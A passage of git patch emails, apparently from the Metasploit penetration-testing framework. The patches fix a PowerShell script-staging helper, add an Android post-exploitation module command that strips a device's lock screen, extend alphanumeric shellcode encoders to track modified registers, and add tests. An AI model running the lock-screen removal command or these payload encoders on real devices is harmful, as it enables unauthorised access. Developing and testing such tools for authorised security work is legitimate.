end From 1a08da09cbfe95a472b2e71d3220254a6ae8ab64 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 29 May 2015 04:15:57 -0400 Subject: [PATCH 0102/2172] Fix compression check logic Initial check logic would compress any script, even those which would not need it since an uncompressed script fitting the buffer would likely fit compressed (unless its uncompressable and the decoder stub overflows). Ensure that compression occurs only when a compressed script would fit while the uncompressed one does not. --- lib/msf/core/post/windows/powershell.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index 7d42835a86..b55234e481 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -169,7 +169,7 @@ module Powershell end linkvars.slice!(0..2) session.shell_command("$#{script_var} = #{linkvars}") - elsif (compress_script(encoded_expression).size < 15000) + elsif (compress_script(encoded_expression).size < 15000 and encoded_expression > 14999) # Attempt to compress the PSH script into available space encoded_expression = compress_script(encoded_expression) print_good("Compressed script size: #{encoded_expression.size}") From f575b31d58e750e272d99954af135f4b0edefd7b Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 29 May 2015 05:05:35 -0400 Subject: [PATCH 0103/2172] Remove double assignment typo --- lib/msf/core/post/windows/powershell.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index b55234e481..5530652724 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -144,7 +144,7 @@ module Powershell encoded_expression = encode_script(read_script(script)) cleanup_commands = [] # Add entropy to script variable names - script_var = = Rex::Text.rand_text_alpha(6) + script_var = Rex::Text.rand_text_alpha(6) decscript = Rex::Text.rand_text_alpha(6) scriptby = Rex::Text.rand_text_alpha(6) scriptbybase = Rex::Text.rand_text_alpha(6) From 0d0dbaab60667e545b4c3c211ce26c332a825bbe Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 29 May 2015 05:08:27 -0400 Subject: [PATCH 0104/2172] Fix :gsub! delegator for Powershell::Script --- lib/rex/powershell/script.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/powershell/script.rb b/lib/rex/powershell/script.rb index cfde3bb887..bd0a419215 100644 --- a/lib/rex/powershell/script.rb +++ b/lib/rex/powershell/script.rb @@ -18,7 +18,7 @@ module Powershell # eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}| def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s, :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym, - :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!, + :enum_for, :display, :tr_s!, :freeze, :gsub!, :split, :rindex, :<<, :<=>, :+, :lstrip!, :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase, :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=, :!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?, From d3a9e49e823a39110ded8364f4e23e8bc5a478c4 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 29 May 2015 05:08:27 -0400 Subject: [PATCH 0105/2172] Fix :gsub! delegator for Powershell::Script --- lib/rex/powershell/script.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/powershell/script.rb b/lib/rex/powershell/script.rb index cfde3bb887..bd0a419215 100644 --- a/lib/rex/powershell/script.rb +++ b/lib/rex/powershell/script.rb @@ -18,7 +18,7 @@ module Powershell # eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}| def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s, :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym, - :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!, + :enum_for, :display, :tr_s!, :freeze, :gsub!, :split, :rindex, :<<, :<=>, :+, :lstrip!, :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase, :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=, :!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?, From c396fe2c68c14b9bad5d8b490f20b38ba1f7f36d Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 2 Jun 2015 05:51:17 +0100 Subject: [PATCH 0106/2172] let the user know whether the command succeeded --- modules/post/android/manage/remove_lock.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb index 16e58448dd..df3f239e6b 100644 --- a/modules/post/android/manage/remove_lock.rb +++ b/modules/post/android/manage/remove_lock.rb @@ -46,7 +46,13 @@ class Metasploit4 < Msf::Post return end - cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task') + output = cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task') + if output =~ /Error:/ + print_error("The Intent could not be started") + vprint_status("Command output: #{output}") + else + print_good("Intent started, the lock screen should now have been removed") + end end end From e72f705298a0d12284a55df958bbcaaa8586ad8b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 8 Jun 2015 09:46:04 -0500 Subject: [PATCH 0107/2172] Add new code template --- modules/encoders/x86/alpha_mixed.rb | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb index 0a95ba3d24..e0d655a07f 100644 --- a/modules/encoders/x86/alpha_mixed.rb +++ b/modules/encoders/x86/alpha_mixed.rb @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Encoder::Alphanum # being encoded. # def decoder_stub(state) + modified_registers = [] reg = datastore['BufferRegister'] off = (datastore['BufferOffset'] || 0).to_i buf = '' @@ -52,7 +53,14 @@ class Metasploit3 < Msf::Encoder::Alphanum reg.upcase! end - buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off) + stub = buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off) + + # Sanity check that saved_registers doesn't overlap with modified_registers + if (modified_registers & saved_registers).length > 0 + raise BadGenerateError + end + + stub end # @@ -69,4 +77,14 @@ class Metasploit3 < Msf::Encoder::Alphanum def encode_end(state) state.encoded += Rex::Encoder::Alpha2::AlphaMixed::add_terminator() end + + # Indicate that this module can preserve some registers + def can_preserve_registers? + true + end + + # Convert the SaveRegisters to an array of x86 register constants + def saved_registers + Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters']) + end end From a77a4bd4c5787706c1f274ebb62db6b43b4dc974 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 8 Jun 2015 11:16:24 -0500 Subject: [PATCH 0108/2172] Account alpha_mixed modified registers --- lib/rex/encoder/alpha2/alpha_mixed.rb | 81 ++++++++++++++++++++++++--- modules/encoders/x86/alpha_mixed.rb | 14 ++++- 2 files changed, 85 insertions(+), 10 deletions(-) diff --git a/lib/rex/encoder/alpha2/alpha_mixed.rb b/lib/rex/encoder/alpha2/alpha_mixed.rb index 3d8062276b..a5a02222e9 100644 --- a/lib/rex/encoder/alpha2/alpha_mixed.rb +++ b/lib/rex/encoder/alpha2/alpha_mixed.rb @@ -8,22 +8,51 @@ module Alpha2 class AlphaMixed < Generic - def self.gen_decoder_prefix(reg, offset) - if (offset > 32) - raise "Critical: Offset is greater than 32" + # Generates the decoder stub prefix + # + # @param [String] reg the register pointing to the encoded payload + # @param [Fixnum] offset the offset to reach the encoded payload + # @param [Array] modified_registers accounts the registers modified by the stub + # @return [String] the alpha mixed decoder stub prefix + def self.gen_decoder_prefix(reg, offset, modified_registers = []) + if offset > 32 + raise 'Critical: Offset is greater than 32' end + mod_registers = [] + nop_regs = [] + mod_regs = [] + edx_regs = [] + # use inc ebx as a nop here so we still pad correctly - if (offset <= 16) + if offset <= 16 nop = 'C' * offset + nop_regs.concat(Rex::Arch::X86::EBX) + mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx + mod_regs.concat([ + Rex::Arch::X86::ECX, + Rex::Arch::X86::EDX + ]) + edxmod = 'J' * (17 - offset) + edx_regs.concat(Rex::Arch::X86::EDX) else mod = 'A' * (offset - 16) + mod_regs.concat(Rex::Arch::X86::ECX) + nop = 'C' * (16 - mod.length) + nop_regs.concat(Rex::Arch::X86::EBX) + mod << nop + '7QZ' + mod_regs.concat([ + Rex::Arch::X86::EDX + ]) + edxmod = 'B' * (17 - (offset - 16)) + edx_regs.concat(Rex::Arch::X86::EDX) end + regprefix = { 'EAX' => 'PY' + mod, # push eax, pop ecx 'ECX' => 'I' + mod, # dec ecx @@ -36,15 +65,38 @@ class AlphaMixed < Generic } reg.upcase! - if (not regprefix.keys.include? reg) - raise ArgumentError.new("Invalid register name") + + unless regprefix.keys.include?(reg) + raise ArgumentError.new('Invalid register name') end + + case reg + when 'EDX' + mod_registers.concat(edx_regs) + mod_registers.concat(nop_regs) + mod_registers.concat(Rex::Arch::X86::ECX) + else + mod_registers.concat(Rex::Arch::X86::ECX) + mod_registers.concat(mod_regs) + end + + mod_registers.uniq! + modified_registers.concat(mod_registers) + return regprefix[reg] end - def self.gen_decoder(reg, offset) + # Generates the decoder stub + # + # @param [String] reg the register pointing to the encoded payload + # @param [Fixnum] offset the offset to reach the encoded payload + # @param [Array] modified_registers accounts the registers modified by the stub + # @return [String] the alpha mixed decoder stub + def self.gen_decoder(reg, offset, modified_registers = []) + mod_registers = [] + decoder = - gen_decoder_prefix(reg, offset) + + gen_decoder_prefix(reg, offset, mod_registers) + "jA" + # push 0x41 "X" + # pop eax "P" + # push eax @@ -62,7 +114,18 @@ class AlphaMixed < Generic "uJ" + # jnz short ------------------------- "I" # first encoded char, fixes the above J - return decoder + mod_registers.concat( + [ + Rex::Arch::X86::ESP, + Rex::Arch::X86::EAX, + Rex::Arch::X86::ECX, + Rex::Arch::X86::EDX + ]) + + mod_registers.uniq! + modified_registers.concat(mod_registers) + + decoder end end end end end diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb index e0d655a07f..ff9bbd29f0 100644 --- a/modules/encoders/x86/alpha_mixed.rb +++ b/modules/encoders/x86/alpha_mixed.rb @@ -42,6 +42,17 @@ class Metasploit3 < Msf::Encoder::Alphanum buf = 'VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089' reg = 'ECX' off = 0 + modified_registers.concat ( + [ + Rex::Arch::X86::ESP, + Rex::Arch::X86::EDI, + Rex::Arch::X86::ESI, + Rex::Arch::X86::EBP, + Rex::Arch::X86::EBX, + Rex::Arch::X86::EDX, + Rex::Arch::X86::ECX, + Rex::Arch::X86::EAX + ]) else res = Rex::Arch::X86.geteip_fpu(state.badchars) if (not res) @@ -53,9 +64,10 @@ class Metasploit3 < Msf::Encoder::Alphanum reg.upcase! end - stub = buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off) + stub = buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off, modified_registers) # Sanity check that saved_registers doesn't overlap with modified_registers + modified_registers.uniq! if (modified_registers & saved_registers).length > 0 raise BadGenerateError end From 890d9890e243fb2da17db418b5f0d942087aa32e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 8 Jun 2015 12:00:14 -0500 Subject: [PATCH 0109/2172] Account geteip_fpu modified registers --- lib/rex/arch/x86.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/rex/arch/x86.rb b/lib/rex/arch/x86.rb index 87f996eb57..8588359372 100644 --- a/lib/rex/arch/x86.rb +++ b/lib/rex/arch/x86.rb @@ -421,8 +421,7 @@ module X86 # This method returns an array containing a geteip stub, a register, and an offset # This method will return nil if the getip generation fails # - def self.geteip_fpu(badchars) - + def self.geteip_fpu(badchars, modified_registers = []) # # Default badchars to an empty string # @@ -470,11 +469,13 @@ module X86 # while(dsts.length > 0) buf = '' + mod_registers = [ESP] dst = dsts[ rand(dsts.length) ] dsts.delete(dst) # If the register is not ESP, copy ESP if (dst != ESP) + mod_registers.concat(dst) next if badchars.index( (0x70 + dst).chr ) if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr )) @@ -506,6 +507,7 @@ module X86 regs.delete(reg) next if reg == ESP next if badchars.index( (0x58 + reg).chr ) + mod_registers.concat(reg) # Pop the value back out 0.upto(pad / 4) { |c| out << (0x58 + reg).chr } @@ -513,6 +515,8 @@ module X86 # Fix the value to point to self gap = out.length - buf.length + mod_registers.uniq! + modified_registers.concat(mod_registers) return [out, REG_NAMES32[reg].upcase, gap] end end From d56b3663fbbb9a2aad543b808a301ea7a9f88e79 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 8 Jun 2015 12:00:52 -0500 Subject: [PATCH 0110/2172] Have into account modified registers on geteip_fpu call from alpha_mixed --- modules/encoders/x86/alpha_mixed.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb index ff9bbd29f0..2376e6dd61 100644 --- a/modules/encoders/x86/alpha_mixed.rb +++ b/modules/encoders/x86/alpha_mixed.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Encoder::Alphanum Rex::Arch::X86::EAX ]) else - res = Rex::Arch::X86.geteip_fpu(state.badchars) + res = Rex::Arch::X86.geteip_fpu(state.badchars, modified_registers) if (not res) raise EncodingError, "Unable to generate geteip code" end From 11f2712a438bbd6032caa5fd184e27b53047ac39 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 8 Jun 2015 13:53:03 -0500 Subject: [PATCH 0111/2172] Use push instead of concat for single registers --- lib/rex/arch/x86.rb | 4 ++-- lib/rex/encoder/alpha2/alpha_mixed.rb | 18 ++++++++---------- 2 files changed, 10 insertions(+), 12 deletions(-) diff --git a/lib/rex/arch/x86.rb b/lib/rex/arch/x86.rb index 8588359372..af965c22e0 100644 --- a/lib/rex/arch/x86.rb +++ b/lib/rex/arch/x86.rb @@ -475,7 +475,7 @@ module X86 # If the register is not ESP, copy ESP if (dst != ESP) - mod_registers.concat(dst) + mod_registers.push(dst) next if badchars.index( (0x70 + dst).chr ) if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr )) @@ -507,7 +507,7 @@ module X86 regs.delete(reg) next if reg == ESP next if badchars.index( (0x58 + reg).chr ) - mod_registers.concat(reg) + mod_registers.push(reg) # Pop the value back out 0.upto(pad / 4) { |c| out << (0x58 + reg).chr } diff --git a/lib/rex/encoder/alpha2/alpha_mixed.rb b/lib/rex/encoder/alpha2/alpha_mixed.rb index a5a02222e9..e1097b919d 100644 --- a/lib/rex/encoder/alpha2/alpha_mixed.rb +++ b/lib/rex/encoder/alpha2/alpha_mixed.rb @@ -27,7 +27,7 @@ class AlphaMixed < Generic # use inc ebx as a nop here so we still pad correctly if offset <= 16 nop = 'C' * offset - nop_regs.concat(Rex::Arch::X86::EBX) + nop_regs.push(Rex::Arch::X86::EBX) mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx mod_regs.concat([ @@ -36,21 +36,19 @@ class AlphaMixed < Generic ]) edxmod = 'J' * (17 - offset) - edx_regs.concat(Rex::Arch::X86::EDX) + edx_regs.push(Rex::Arch::X86::EDX) else mod = 'A' * (offset - 16) - mod_regs.concat(Rex::Arch::X86::ECX) + mod_regs.push(Rex::Arch::X86::ECX) nop = 'C' * (16 - mod.length) - nop_regs.concat(Rex::Arch::X86::EBX) + nop_regs.push(Rex::Arch::X86::EBX) mod << nop + '7QZ' - mod_regs.concat([ - Rex::Arch::X86::EDX - ]) + mod_regs.push(Rex::Arch::X86::EDX) edxmod = 'B' * (17 - (offset - 16)) - edx_regs.concat(Rex::Arch::X86::EDX) + edx_regs.push(Rex::Arch::X86::EDX) end regprefix = { @@ -74,9 +72,9 @@ class AlphaMixed < Generic when 'EDX' mod_registers.concat(edx_regs) mod_registers.concat(nop_regs) - mod_registers.concat(Rex::Arch::X86::ECX) + mod_registers.push(Rex::Arch::X86::ECX) else - mod_registers.concat(Rex::Arch::X86::ECX) + mod_registers.push(Rex::Arch::X86::ECX) mod_registers.concat(mod_regs) end From f8623ebddae33fa48be42a20070b14a4174ec71f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 8 Jun 2015 14:35:48 -0500 Subject: [PATCH 0112/2172] Add support for stage encoding to alpha_upper --- lib/rex/encoder/alpha2/alpha_mixed.rb | 18 +++---- lib/rex/encoder/alpha2/alpha_upper.rb | 75 ++++++++++++++++++++++++--- modules/encoders/x86/alpha_upper.rb | 30 ++++++++++- 3 files changed, 104 insertions(+), 19 deletions(-) diff --git a/lib/rex/encoder/alpha2/alpha_mixed.rb b/lib/rex/encoder/alpha2/alpha_mixed.rb index e1097b919d..11651ddc7f 100644 --- a/lib/rex/encoder/alpha2/alpha_mixed.rb +++ b/lib/rex/encoder/alpha2/alpha_mixed.rb @@ -27,28 +27,28 @@ class AlphaMixed < Generic # use inc ebx as a nop here so we still pad correctly if offset <= 16 nop = 'C' * offset - nop_regs.push(Rex::Arch::X86::EBX) + nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty? mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx - mod_regs.concat([ - Rex::Arch::X86::ECX, - Rex::Arch::X86::EDX - ]) + mod_regs.push(Rex::Arch::X86::ECX) unless offset == 16 + mod_regs.concat(nop_regs) + mod_regs.push(Rex::Arch::X86::EDX) edxmod = 'J' * (17 - offset) - edx_regs.push(Rex::Arch::X86::EDX) + edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty? else mod = 'A' * (offset - 16) - mod_regs.push(Rex::Arch::X86::ECX) + mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty? nop = 'C' * (16 - mod.length) - nop_regs.push(Rex::Arch::X86::EBX) + nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty? mod << nop + '7QZ' + mod_regs.concat(nop_regs) mod_regs.push(Rex::Arch::X86::EDX) edxmod = 'B' * (17 - (offset - 16)) - edx_regs.push(Rex::Arch::X86::EDX) + edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty? end regprefix = { diff --git a/lib/rex/encoder/alpha2/alpha_upper.rb b/lib/rex/encoder/alpha2/alpha_upper.rb index b41dacbbbc..d4258035d7 100644 --- a/lib/rex/encoder/alpha2/alpha_upper.rb +++ b/lib/rex/encoder/alpha2/alpha_upper.rb @@ -9,21 +9,47 @@ module Alpha2 class AlphaUpper < Generic def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end - def self.gen_decoder_prefix(reg, offset) - if (offset > 20) - raise "Critical: Offset is greater than 20" + # Generates the decoder stub prefix + # + # @param [String] reg the register pointing to the encoded payload + # @param [Fixnum] offset the offset to reach the encoded payload + # @param [Array] modified_registers accounts the registers modified by the stub + # @return [String] the alpha upper decoder stub prefix + def self.gen_decoder_prefix(reg, offset, modified_registers = []) + if offset > 20 + raise 'Critical: Offset is greater than 20' end + mod_registers = [] + nop_regs = [] + mod_regs = [] + edx_regs = [] + # use inc ebx as a nop here so we still pad correctly if (offset <= 10) nop = 'C' * offset + nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty? + mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx + mod_regs.push(Rex::Arch::X86::ECX) unless offset == 10 + mod_regs.concat(nop_regs) + mod_regs.push(Rex::Arch::X86::EDX) + edxmod = 'J' * (11 - offset) + edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty? else mod = 'A' * (offset - 10) + mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty? + nop = 'C' * (10 - mod.length) + nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty? + mod << nop + 'QZ' + mod_regs.concat(nop_regs) + mod_regs.push(Rex::Arch::X86::EDX) + edxmod = 'B' * (11 - (offset - 10)) + edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty? end regprefix = { 'EAX' => 'PY' + mod, # push eax, pop ecx @@ -33,20 +59,41 @@ class AlphaUpper < Generic 'ESP' => 'TY' + mod, # push esp, pop ecx 'EBP' => 'UY' + mod, # push ebp, pop ecx 'ESI' => 'VY' + mod, # push esi, pop ecx - 'EDI' => 'WY' + mod, # push edi, pop edi + 'EDI' => 'WY' + mod, # push edi, pop ecx } reg.upcase! - if (not regprefix.keys.include? reg) + unless regprefix.keys.include?(reg) raise ArgumentError.new("Invalid register name") end - return regprefix[reg] + case reg + when 'EDX' + mod_registers.concat(edx_regs) + mod_registers.concat(nop_regs) + mod_registers.push(Rex::Arch::X86::ECX) + else + mod_registers.push(Rex::Arch::X86::ECX) + mod_registers.concat(mod_regs) + end + + mod_registers.uniq! + modified_registers.concat(mod_registers) + + return regprefix[reg] end - def self.gen_decoder(reg, offset) + # Generates the decoder stub + # + # @param [String] reg the register pointing to the encoded payload + # @param [Fixnum] offset the offset to reach the encoded payload + # @param [Array] modified_registers accounts the registers modified by the stub + # @return [String] the alpha upper decoder stub + def self.gen_decoder(reg, offset, modified_registers = []) + mod_registers = [] + decoder = - gen_decoder_prefix(reg, offset) + + gen_decoder_prefix(reg, offset, mod_registers) + "V" + # push esi "T" + # push esp "X" + # pop eax @@ -73,6 +120,18 @@ class AlphaUpper < Generic "JJ" + # jnz * -------------------- "I" # first encoded char, fixes the above J + mod_registers.concat( + [ + Rex::Arch::X86::ESP, + Rex::Arch::X86::EAX, + Rex::Arch::X86::ESI, + Rex::Arch::X86::ECX, + Rex::Arch::X86::EDX + ]) + + mod_registers.uniq! + modified_registers.concat(mod_registers) + return decoder end diff --git a/modules/encoders/x86/alpha_upper.rb b/modules/encoders/x86/alpha_upper.rb index c5f6799bc9..0430d6f403 100644 --- a/modules/encoders/x86/alpha_upper.rb +++ b/modules/encoders/x86/alpha_upper.rb @@ -34,6 +34,7 @@ class Metasploit3 < Msf::Encoder::Alphanum # being encoded. # def decoder_stub(state) + modified_registers = [] reg = datastore['BufferRegister'] off = (datastore['BufferOffset'] || 0).to_i buf = '' @@ -44,8 +45,15 @@ class Metasploit3 < Msf::Encoder::Alphanum buf = 'VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A63861816' reg = 'ECX' off = 0 + modified_registers.concat ( + [ + Rex::Arch::X86::ESP, + Rex::Arch::X86::EDI, + Rex::Arch::X86::ESI, + Rex::Arch::X86::EAX + ]) else - res = Rex::Arch::X86.geteip_fpu(state.badchars) + res = Rex::Arch::X86.geteip_fpu(state.badchars, modified_registers) if (not res) raise EncodingError, "Unable to generate geteip code" end @@ -55,7 +63,15 @@ class Metasploit3 < Msf::Encoder::Alphanum reg.upcase! end - buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off) + stub = buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off, modified_registers) + + # Sanity check that saved_registers doesn't overlap with modified_registers + modified_registers.uniq! + if (modified_registers & saved_registers).length > 0 + raise BadGenerateError + end + + stub end # @@ -72,4 +88,14 @@ class Metasploit3 < Msf::Encoder::Alphanum def encode_end(state) state.encoded += Rex::Encoder::Alpha2::AlphaUpper::add_terminator() end + + # Indicate that this module can preserve some registers + def can_preserve_registers? + true + end + + # Convert the SaveRegisters to an array of x86 register constants + def saved_registers + Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters']) + end end From 3fb0a5f23e9a949fd230fc1a497342b414c41224 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 8 Jun 2015 15:53:11 -0500 Subject: [PATCH 0113/2172] Add specs for Rex AlphaUpper mods --- .../rex/encoder/alpha2/alpha_upper_spec.rb | 202 ++++++++++++++++++ 1 file changed, 202 insertions(+) diff --git a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb index 41a63780ef..bab8c9c081 100644 --- a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb +++ b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb @@ -56,6 +56,180 @@ describe Rex::Encoder::Alpha2::AlphaUpper do expect { decoder_prefix }.to raise_error end end + + context "when modified_registers is passed" do + context "when reg is ECX" do + context "when offset is 10" do + let(:reg) { 'ECX' } + let(:offset) { 10 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + + context "when offset is 5" do + let(:reg) { 'ECX' } + let(:offset) { 5 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + + context "when offset is 0" do + let(:reg) { 'ECX' } + let(:offset) { 0 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "doesn't mark EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to_not include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + + context "when offset is 15" do + let(:reg) { 'ECX' } + let(:offset) { 15 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + end + + context "when reg is EDX" do + context "when offset is 10" do + let(:reg) { 'EDX' } + let(:offset) { 10 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + + context "when offset is 5" do + let(:reg) { 'EDX' } + let(:offset) { 5 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + + context "when offset is 0" do + let(:reg) { 'EDX' } + let(:offset) { 0 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "doesn't mark EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to_not include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + + context "when offset is 15" do + let(:reg) { 'EDX' } + let(:offset) { 15 } + let(:modified_registers) { [] } + + it "marks ECX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::ECX) + end + + it "marks EBX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EBX) + end + + it "marks EDX as modified" do + described_class.gen_decoder_prefix(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + end + end + end end @@ -89,6 +263,34 @@ describe Rex::Encoder::Alpha2::AlphaUpper do expect { decoder }.to raise_error end end + + context "when modified_registers passed" do + let(:modified_registers) { [] } + it "marks EDX as modified" do + described_class.gen_decoder(reg, offset, modified_registers) + expect(modified_registers).to include(Rex::Arch::X86::EDX) + end + + it "marks ECX as modified" do + 